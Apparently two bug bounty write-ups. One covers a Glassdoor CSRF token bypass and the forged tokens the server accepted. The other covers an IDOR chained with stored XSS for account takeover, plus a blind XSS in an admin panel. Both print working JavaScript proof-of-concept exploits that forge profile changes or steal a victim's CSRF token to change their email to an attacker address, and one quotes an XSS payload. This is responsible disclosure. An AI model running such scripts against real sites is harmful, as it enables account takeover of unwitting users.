Tabahi

In february, 2020 I was looking at what to hack. Glassdoor has a good security team and I had found a lot of bugs on their application before. They have a public bug bounty program on Hackerone, here.

So I started looking at glassdoor. They were using a token to prevent CSRF on all endpoints, it looked like a secure implementation. But I still played around with it. Their gdToken(CSRF token) looks like below:


biu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

I was checking if the tokens were properly session tied. I generated random tokens from an account and tried to use them for someone else’s session. The tokens were session tied and requests failed for cross accounts.

But during my testing I noticed that one of the request got successfully completed. I investigated to see how it happened, and I saw that while copying the token I missed selecting the first character of the token as it was _(underscore).

So for a token like:

_iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

I only copied:

iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

and used that for someone else’s session.

And the request got successfully completed. The CSRF protection of the app failed here. Strange.

I tried to reproduce the behaviour with new tokens.

I generated a CSRF token from an account A, stripped off the first character and tried to use it as the CSRF token for account B. The requests were successfully completed.

There are 2 kinds of accounts on Glassdoor:

Job Seeker
Employer

Both use the same kind of implementation to prevent CSRF, the bypass worked for both and I had CSRF on all endpoints of both the Job Seeker and Employer accounts. This could lead to full account takeover by exploiting functionalities like inviting attacker E-mail with admin access to employer accounts.

So I made a POC for actions changing the name and adding an experience to a job seeker's account and reported the bug to the team.

I used the following javascript code for POC:

function attack()
{

var fetchHash = new XMLHttpRequest();



var url = "https://www.glassdoor.com/member/profileApi/set.htm";



fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
        {

            //datax = fetchHash.responseText;
					   


        }

}

fetchHash.open("POST",url, true);

fetchHash.withCredentials=true;
fetchHash.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
fetchHash.send('userId=&data.fname=hacked&data.lname=tabahi&data.location=&data.errors=%5Bobject%20Object%5D&features=profileHeader&gdToken=Lw4rY4QtXJRJSGdXYYy2g:TeP6uO91BAb8FhlqLQBkpBpBqoCsWQO7Il8jc4k3XnuZuf1P8WVPwBx9dIt6pyILcXF3qhxJhffMohec02E8yw:8_-LRPyEz4J96fpG0CDqY3S7u5nLqbJgx9Y4RBgxm9Y');


}


attack();
attack2();


function attack2()
{

var fetchHash = new XMLHttpRequest();



var url = "https://www.glassdoor.com/member/profileApi/set.htm";



fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
        {

            //datax = fetchHash.responseText;
					   


        }

}

fetchHash.open("POST",url, true);

fetchHash.withCredentials=true;
fetchHash.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
fetchHash.send('userId=&data.id=0&data.employerId=7906&data.employerName=The%20Hackett%20Group&data.title=Manager&data.titleId=63697&data.location=Los%20Angeles%2C%20CA%20(US)&data.locationId=1146821&data.locationType=C&data.startMonth=2&data.startYear=2019&data.endMonth=1&data.endYear=2020&data.originalEndMonth=&data.originalEndYear=&data.description=ahacked!!!!%20%20HACKED!!&data.errors=%5Bobject%20Object%5D&data.squareLogoUrl=https%3A%2F%2Fe2hq2ufpdwpaso3o37tdhthjtazanz.burpcollaborator.net%2Fsqlm%2F7906%2Fthe-hackett-group-squarelogo-1435689198144.png&data.overviewUrl=www.thehackettgroup.com&features=experience&gdToken=Lw4rY4QtXJRJSGdXYYy2g:TeP6uO91BAb8FhlqLQBkpBpBqoCsWQO7Il8jc4k3XnuZuf1P8WVPwBx9dIt6pyILcXF3qhxJhffMohec02E8yw:8_-LRPyEz4J96fpG0CDqY3S7u5nLqbJgx9Y4RBgxm9Y');


}

Here is the POC video:

I explained what kind of Impact this could have:

Bypass CSRF protection mechanism of the core application of www.glassdoor.com

Attacker gains:
Site wide CSRF on both job seeker and employer accounts.

Some critical actions that be performed:


Job seeker account:

> adding salaries, reviews, interviews
> edit profile
> add CVs
> delete existing CVs
> save jobs
> Apply to jobs

Employer account:

> post new jobs
> delete existing jobs
> invite a new user as admin- ACCOUNT TKO

Glassdoor security team triaged the bug and started working towards a fix.

I was still curious about how this happened and was discussing with the team on it. On taking a closer look at the issue, I found out that it had something to do with the length validation of the token.

A valid token was in format

--encoded-string--:--encoded-string--:--encoded-string--

Length of token: 153

Now, if we supplied a token in the same format, but changing the number of characters in a valid token(i.e ≠ 153), the server would treat it as a valid token for the current session.

So basically a token satisfying the following constraints would be a valid token for any session.

The format should be:
--any-no-of-characters---:---anyno-of-characters--:--atleast-one-character--


Total length of the token ≠ length of an actual token

for example, the following gdToken values were accepted as valid by the server for all account sessions on glassdoor.com

::0
:tabahi:x
x:tabahi:1
sdfds:3454:dsf34
x::2

A fix was rolled out for the bug, and the glassdoor security team found out that this was an exception handling issue –> an exception was triggered with the forged tokens and they didn’t fail the response and in turn just logged it and allowed the operation to continue. Now a 403 is sent when that exception is triggered.

So the CSRF token validation flow would be something like:

---> The server verifies the format of the CSRF token

---> Now the sever checks if the token is session tied

---> Sever allows operation to be completed

Now, if we supply a token like ::9

---> The server verifies the format of the token ---> we supplied a token in valid format(--0-chars--:--0-chars--:--1-char--) 

our forged token passes the first check


---> Now the sever tries to check if the token is session tied and maybe other checks on the token, here an exception is triggered because the token is of invalid length

This exception wasn't handled properly and caused a CSRF validation bypass

It would pass the first format check, then trigger the exception in the second check and since the exception was not handled and code was allowed to continue, the operation would be completed successfully.

The bug was rewarded at $3000 (Glassdoor’s top bounty + a bonus)

Got any questions or something to say? Tweet me @_tabahi

🙂

hi all,

I’m writing my first bug bounty post, this is about some bugs I found in a private program on Hackerone.

So in this program, after hunting some bugs in the application, I went for PRO features to get some more attack surface. I found some more bugs there, 2 of which had huge impact.

Account Takeover

I first found an IDOR, which allowed me to create an element x in every user’s account. After reporting the issue, I told Bull about my bug, he suggested I inject some javascript in there. I went back and injected a '%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E payload in a text field of element x, and alert popped up.

Now, I could store XSS in every user’s account through the IDOR. There was no CSP blocking external scripts, so I could now just write a small script which would steal a victim’s CSRF token and then change their emailID or Invite me as an Admin, taking over their account.

As with the IDOR, javascript could be stored in all accounts remotely, and as they would execute, ..take over all accounts. I updated the report, told them about the XSS and the Impact of both chained together.

I gave them the following javascript code for POC:

function stealEmailToken()
{
var fetchHash = new XMLHttpRequest();

var url = "https://--domain--/--path--/personal/update_email.html";
var datax;
var all_elements;
var vc_email_token='initial';

fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
{

datax = fetchHash.responseText;
var loot = document.createElement('html');
loot.innerHTML = datax;
all_elements = loot.getElementsByTagName( 'input' );
vc_email_token = all_elements[2].value;
alert('Stole your Email change Token: '+vc_email_token+' ...Tabahi');
//hack(vc_email_token);

}

}

fetchHash.open("GET",url, true);
fetchHash.withCredentials=true;
fetchHash.send();

}

stealEmailToken();

function hack(emailToken)
{

var HackAccount = new XMLHttpRequest();

url= "https://--domain--/--path--/personal/update_email.html";

HackAccount .open("POST",url, true);

HackAccount .withCredentials=true;

var data= 'AccountEmailForm%5BsEmail%5D%5Bfirst%5D=attacker%40attacker.com&AccountEmailForm%5BsEmail%5D%5Bsecond%5D=attacker%40attacker.com&AccountEmailForm%5B_token%5D='+emailToken ;

HackAccount .setRequestHeader('X-Requested-With','XMLHttpRequest');

HackAccount .setRequestHeader('Content-Type','application/x-www-form-urlencoded');
HackAccount .send(data);

}

The above script would read the victim’s csrf token from input elements of the ...personal/update_email.html page, the hack() function would then send a POST request with the stolen token to change the victim’s email ID.

The team fixed the bug in a few days. and awarded a bounty of $3500.

The Blind XSS

When I went to purchase the PRO features of the application, there were 2 payment methods, credit card and bank transfer. With the bank transfer method, an invoice was generated and emailed to the user using some input---name,address etc. fields supplied by the user at the time of billing.

So, here I tried to inject some html elements, to see if the server would execute script in the .pdf invoice generated. But, nothing happened.

Also, in the elements I injected, I had put a Blind-XSS payload.

After a few days, while casually browsing my XSSHunter account, I saw a payload had triggered on this program’s Admin Panel. Wow!

Along with generating the .pdf, the invoice was listed un-sanitized in the program’s Admin panel. With the screenshot from their page, around a thousand records of their customer Invoices were exposed to me.

Below pic shows XSS triggered in the name and address field: